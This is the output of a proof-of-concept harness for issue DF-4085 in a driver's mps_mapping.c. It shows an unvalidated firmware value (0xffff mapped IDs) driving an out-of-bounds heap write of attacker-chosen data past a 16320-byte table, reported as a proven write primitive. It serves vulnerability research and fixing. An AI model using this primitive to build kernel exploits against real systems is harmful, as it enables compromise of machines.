DF-4085 object-level proof (mps_mapping.c:1512-1563)
  sizeof(dev_mapping_table) : 32 (expect 32)
  max_devices               : 510 (table = 16320 bytes)
  MaxNumPhysicalMappedIDs   : 0xffff (IOC pg8, unvalidated)
  DPM entry 0               : dev_idx=256 (in bounds!), num_slots=65535
  reservation loop wrote     : [256, 65791)
  entries past table end     : 65281
  kernel equivalent          : 2088992-byte linear heap write of fw-controlled data
    past a 16320-byte kmalloc, attacker qword 0x5141524153534141 at stride 32
RESULT: OOB WRITE PRIMITIVE PROVEN (canary smash, stride 32)
EXIT=0